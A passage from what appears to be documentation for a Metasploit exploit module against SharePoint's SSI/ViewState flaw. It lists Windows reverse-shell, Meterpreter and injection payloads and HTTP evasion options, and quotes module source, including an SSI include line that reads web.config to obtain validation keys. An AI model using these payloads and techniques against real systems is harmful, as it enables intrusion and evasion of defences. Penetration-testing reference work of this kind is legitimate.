   79   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   80   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   81   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   82   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   83   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   84   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   85   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   86   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   87   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   88   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   89   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   90   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   91   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   92   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   93   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   94   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   95   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   96   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   97   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   98   payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   99   payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   100  payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   101  payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   102  payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   103  payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   104  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   105  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   106  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   107  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   108  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   109  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   110  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   111  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   112  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   113  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   114  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   115  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   116  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   117  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   118  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   119  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   120  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   121  payload/windows/pingback_bind_tcp                                            normal  No     Windows x86 Pingback, Bind TCP Inline
   122  payload/windows/pingback_reverse_tcp                                         normal  No     Windows x86 Pingback, Reverse TCP Inline
   123  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   124  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   125  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   126  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   127  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   128  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   129  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   130  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   131  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   132  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   133  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   134  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   135  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   136  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   137  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   138  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   139  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   140  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   141  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   142  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   143  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   144  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   145  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   146  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   147  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   148  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   149  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   150  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   151  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   152  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   153  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   154  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   155  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   156  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   157  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   158  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   159  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   160  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   161  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   162  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   163  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   164  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   165  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   166  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   167  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   168  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   169  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   170  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   171  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   172  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   173  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   174  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   175  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   176  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   177  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   178  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   179  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   180  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   181  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   182  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   183  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   184  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   185  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   186  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   187  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   188  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   189  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   190  payload/windows/x64/exec                                                     normal  No     Windows x64 Execute Command
   191  payload/windows/x64/loadlibrary                                              normal  No     Windows x64 LoadLibrary Path
   192  payload/windows/x64/messagebox                                               normal  No     Windows MessageBox x64
   193  payload/windows/x64/meterpreter/bind_ipv6_tcp                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   194  payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   195  payload/windows/x64/meterpreter/bind_named_pipe                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   196  payload/windows/x64/meterpreter/bind_tcp                                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   197  payload/windows/x64/meterpreter/bind_tcp_rc4                                 normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   198  payload/windows/x64/meterpreter/bind_tcp_uuid                                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   199  payload/windows/x64/meterpreter/reverse_http                                 normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   200  payload/windows/x64/meterpreter/reverse_https                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   201  payload/windows/x64/meterpreter/reverse_named_pipe                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   202  payload/windows/x64/meterpreter/reverse_tcp                                  normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   203  payload/windows/x64/meterpreter/reverse_tcp_rc4                              normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   204  payload/windows/x64/meterpreter/reverse_tcp_uuid                             normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   205  payload/windows/x64/meterpreter/reverse_winhttp                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   206  payload/windows/x64/meterpreter/reverse_winhttps                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   207  payload/windows/x64/meterpreter_bind_named_pipe                              normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   208  payload/windows/x64/meterpreter_bind_tcp                                     normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   209  payload/windows/x64/meterpreter_reverse_http                                 normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   210  payload/windows/x64/meterpreter_reverse_https                                normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   211  payload/windows/x64/meterpreter_reverse_ipv6_tcp                             normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   212  payload/windows/x64/meterpreter_reverse_tcp                                  normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   213  payload/windows/x64/peinject/bind_ipv6_tcp                                   normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   214  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                              normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   215  payload/windows/x64/peinject/bind_named_pipe                                 normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   216  payload/windows/x64/peinject/bind_tcp                                        normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   217  payload/windows/x64/peinject/bind_tcp_rc4                                    normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   218  payload/windows/x64/peinject/bind_tcp_uuid                                   normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   219  payload/windows/x64/peinject/reverse_named_pipe                              normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   220  payload/windows/x64/peinject/reverse_tcp                                     normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   221  payload/windows/x64/peinject/reverse_tcp_rc4                                 normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   222  payload/windows/x64/peinject/reverse_tcp_uuid                                normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   223  payload/windows/x64/pingback_reverse_tcp                                     normal  No     Windows x64 Pingback, Reverse TCP Inline
   224  payload/windows/x64/powershell_bind_tcp                                      normal  No     Windows Interactive Powershell Session, Bind TCP
   225  payload/windows/x64/powershell_reverse_tcp                                   normal  No     Windows Interactive Powershell Session, Reverse TCP
   226  payload/windows/x64/shell/bind_ipv6_tcp                                      normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   227  payload/windows/x64/shell/bind_ipv6_tcp_uuid                                 normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   228  payload/windows/x64/shell/bind_named_pipe                                    normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   229  payload/windows/x64/shell/bind_tcp                                           normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   230  payload/windows/x64/shell/bind_tcp_rc4                                       normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   231  payload/windows/x64/shell/bind_tcp_uuid                                      normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   232  payload/windows/x64/shell/reverse_tcp                                        normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   233  payload/windows/x64/shell/reverse_tcp_rc4                                    normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   234  payload/windows/x64/shell/reverse_tcp_uuid                                   normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   235  payload/windows/x64/shell_bind_tcp                                           normal  No     Windows x64 Command Shell, Bind TCP Inline
   236  payload/windows/x64/shell_reverse_tcp                                        normal  No     Windows x64 Command Shell, Reverse TCP Inline
   237  payload/windows/x64/vncinject/bind_ipv6_tcp                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   238  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                             normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   239  payload/windows/x64/vncinject/bind_named_pipe                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   240  payload/windows/x64/vncinject/bind_tcp                                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   241  payload/windows/x64/vncinject/bind_tcp_rc4                                   normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   242  payload/windows/x64/vncinject/bind_tcp_uuid                                  normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   243  payload/windows/x64/vncinject/reverse_http                                   normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   244  payload/windows/x64/vncinject/reverse_https                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   245  payload/windows/x64/vncinject/reverse_tcp                                    normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   246  payload/windows/x64/vncinject/reverse_tcp_rc4                                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   247  payload/windows/x64/vncinject/reverse_tcp_uuid                               normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   248  payload/windows/x64/vncinject/reverse_winhttp                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   249  payload/windows/x64/vncinject/reverse_winhttps                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/http/sharepoint_ssi_viewstate exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/http/sharepoint_ssi_viewstate) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to retrieve the SharePoint version number


Here is a relevant code snippet related to the "Failed to retrieve the SharePoint version number" error message:

130:	
131:	  def check
132:	    build = sharepoint_get_version('cookie' => cookie)
133:	
134:	    if build.nil?
135:	      return CheckCode::Unknown('Failed to retrieve the SharePoint version number')
136:	    end
137:	
138:	    if vuln_builds.any? { |build_range| build.between?(*build_range) }
139:	      return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
140:	    end

SharePoint <BUILD> is a vulnerable build.


Here is a relevant code snippet related to the "SharePoint <BUILD> is a vulnerable build." error message:

134:	    if build.nil?
135:	      return CheckCode::Unknown('Failed to retrieve the SharePoint version number')
136:	    end
137:	
138:	    if vuln_builds.any? { |build_range| build.between?(*build_range) }
139:	      return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
140:	    end
141:	
142:	    CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
143:	  end
144:	

SharePoint <BUILD> is not a vulnerable build.


Here is a relevant code snippet related to the "SharePoint <BUILD> is not a vulnerable build." error message:

137:	
138:	    if vuln_builds.any? { |build_range| build.between?(*build_range) }
139:	      return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
140:	    end
141:	
142:	    CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
143:	  end
144:	
145:	  def exploit
146:	    if (username.blank? && password.blank?)
147:	      if cookie.blank?

Here is a relevant code snippet related to the "HttpUsername and HttpPassword or COOKIE are required for exploitation" error message:

143:	  end
144:	
145:	  def exploit
146:	    if (username.blank? && password.blank?)
147:	      if cookie.blank?
148:	        fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation')
149:	      end
150:	
151:	      print_warning('Using the specified COOKIE for authentication')
152:	    end
153:	

Here is a relevant code snippet related to the "Using the specified COOKIE for authentication" error message:

146:	    if (username.blank? && password.blank?)
147:	      if cookie.blank?
148:	        fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation')
149:	      end
150:	
151:	      print_warning('Using the specified COOKIE for authentication')
152:	    end
153:	
154:	    if (@validation_key = datastore['VALIDATION_KEY'])
155:	      print_status("Using ViewState validation key #{@validation_key}")
156:	    else

Target did not respond to <__METHOD__>


Here is a relevant code snippet related to the "Target did not respond to <__METHOD__>" error message:

183:	      'cookie' => cookie,
184:	      'data' => ssi_page
185:	    )
186:	
187:	    unless res
188:	      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
189:	    end
190:	
191:	    unless [200, 201].include?(res.code)
192:	      if res.code == 401
193:	        fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}")

Failed to auth with creds <USERNAME>:<PASSWORD>


Here is a relevant code snippet related to the "Failed to auth with creds <USERNAME>:<PASSWORD>" error message:

188:	      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
189:	    end
190:	
191:	    unless [200, 201].include?(res.code)
192:	      if res.code == 401
193:	        fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}")
194:	      end
195:	
196:	      fail_with(Failure::NotFound, 'Failed to create page')
197:	    end
198:	

Failed to create page


Here is a relevant code snippet related to the "Failed to create page" error message:

191:	    unless [200, 201].include?(res.code)
192:	      if res.code == 401
193:	        fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}")
194:	      end
195:	
196:	      fail_with(Failure::NotFound, 'Failed to create page')
197:	    end
198:	
199:	    print_good('Successfully created page')
200:	    @page_created = true
201:	  end

Target did not respond to <__METHOD__>


Here is a relevant code snippet related to the "Target did not respond to <__METHOD__>" error message:

211:	        ssi_header => '<form runat="server" /><!--#include virtual="/web.config"-->'
212:	      }
213:	    )
214:	
215:	    unless res
216:	      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
217:	    end
218:	
219:	    unless res.code == 200
220:	      fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}")
221:	    end

Failed to retrieve <SSI_PATH>


Here is a relevant code snippet related to the "Failed to retrieve <SSI_PATH>" error message:

215:	    unless res
216:	      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
217:	    end
218:	
219:	    unless res.code == 200
220:	      fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}")
221:	    end
222:	
223:	    unless (web_config = res.get_xml_document.at('//configuration'))
224:	      fail_with(Failure::NotFound, 'Failed to extract web.config from response')
225:	    end

Failed to extract web.config from response


Here is a relevant code snippet related to the "Failed to extract web.config from response" error message:

219:	    unless res.code == 200
220:	      fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}")
221:	    end
222:	
223:	    unless (web_config = res.get_xml_document.at('//configuration'))
224:	      fail_with(Failure::NotFound, 'Failed to extract web.config from response')
